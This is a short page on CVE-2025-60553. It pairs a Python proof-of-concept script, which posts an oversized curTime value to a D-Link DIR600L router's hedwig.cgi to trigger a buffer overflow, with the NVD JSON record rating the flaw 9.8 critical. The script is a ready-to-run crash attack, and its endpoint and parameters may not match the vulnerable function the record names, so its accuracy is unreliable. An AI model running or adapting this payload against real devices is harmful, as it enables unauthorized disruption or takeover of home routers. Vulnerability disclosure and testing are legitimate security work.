CVE-2025-60553

import requests # CVE-2025-60553 PoC - D-Link DIR600L Ax Buffer Overflow # Target: D-Link DIR600L Ax with firmware FW116WWb01 # Function: formSetWAN_Wizard52 (curTime parameter) target_ip = "192.168.0.1" # Default router IP target_url = f"http://{target_ip}/hedwig.cgi" # Buffer overflow payload - oversized curTime parameter # Generate payload with 500+ bytes to trigger overflow buffer_overflow_payload = "A" * 600 headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=admin" } # Construct the malicious request data = { "curTime": buffer_overflow_payload, "action": "setWAN_Wizard52" } print("[*] Sending exploit payload for CVE-2025-60553...") print(f"[*] Target: {target_url}") print(f"[*] Payload length: {len(buffer_overflow_payload)}") try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print("[*] Exploit sent. Check device status.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Note: This PoC demonstrates the vulnerability structure. # Actual exploitation requires specific return address and shellcode. # For demonstration purposes only.

{"cve": {"id": "CVE-2025-60553", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:20:07.420", "lastModified": "2025-10-28T02:31:39.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formSetWAN_Wizard52."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/03-buffer%20overflow-formSetWAN_Wizard52.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}